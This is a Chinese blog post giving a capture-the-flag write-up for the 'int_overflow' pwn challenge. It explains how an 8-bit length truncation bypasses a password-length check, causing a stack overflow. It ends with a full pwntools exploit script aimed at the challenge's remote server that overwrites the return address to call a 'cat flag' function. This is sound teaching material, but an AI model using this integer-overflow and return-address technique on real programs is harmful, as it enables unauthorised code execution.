攻防世界pwn int_overflow writeup

原创

PLpa、 于 2019-07-07 12:19:57 发布 1628 收藏 2

文章标签： pwn 整数溢出

本文链接：https://blog.csdn.net/qq_43986365/article/details/94974853

这是一道整数溢出题

我们知道，整数溢出本身不一定会对程序造成很大的伤害，但是他会造成其他形式的溢出，从而也十分的危险。
拿到题目，我们首先查看一下源代码的保护情况：

```
@kali:~/pwn# checksec int_overflow
'/root/pwn/int_overflow'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

从上图可以看出，这是一个32位的程序，并且只开了堆栈不可执行的保护。
我们使用IDA查看一下源码：

```
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
```

我们进入这个check_passwd函数：

```
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
  puts("Invalid Password");
  result = (char *)fflush(stdout);
}
else
{
  puts("Success");
  fflush(stdout);
  result = strcpy(&dest, s);
}
return result;
```

当v3>3u且v3<8u时，我们可以进入下面的else中。

else中把s的值复制到dest，如果s的值够长，就能造出栈溢出。
但是3<v3<8限制了s的长度了，怎么办呢？我们可以看一下汇编代码：

```
push    [ebp+s]         ; s
call    _strlen
add     esp, 10h
mov     [ebp+var_9], al
cmp     [ebp+var_9], 3
jbe     short loc_80486FC
cmp     [ebp+var_9], 8
ja      short loc_80486FC
sub     esp, 0Ch
push    offset s        ; "Success"
```

在检测s的长度之后，我们可以看到程序把s放到一个al寄存器中，al是一个八位寄存器，

我们知道，八位寄存器对于无符号整数来说是有0~255的范围的

这就是这题整数溢出的关键所在了。
我们找到了溢出点，然后就让我们看看有什么代码是可以利用的：

```
int what_is_this()
{
  return system("cat flag");
}
```

果然这里有一个cat flag，跳转到这个地址就可以得到我们想要的flag了！
下面是完整exp：

```
#! /usr/bin/env python
from pwn import *
p=remote('111.198.29.45',33613)
sys_addr=0x0804868B
payload='a'*24+p32(sys_addr)
payload=payload.ljust(262,'a')
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Please input your username:\n")
p.sendline("aaaa")
p.recvuntil("Please input your passwd:\n")
p.sendline(payload)
p.interactive()
```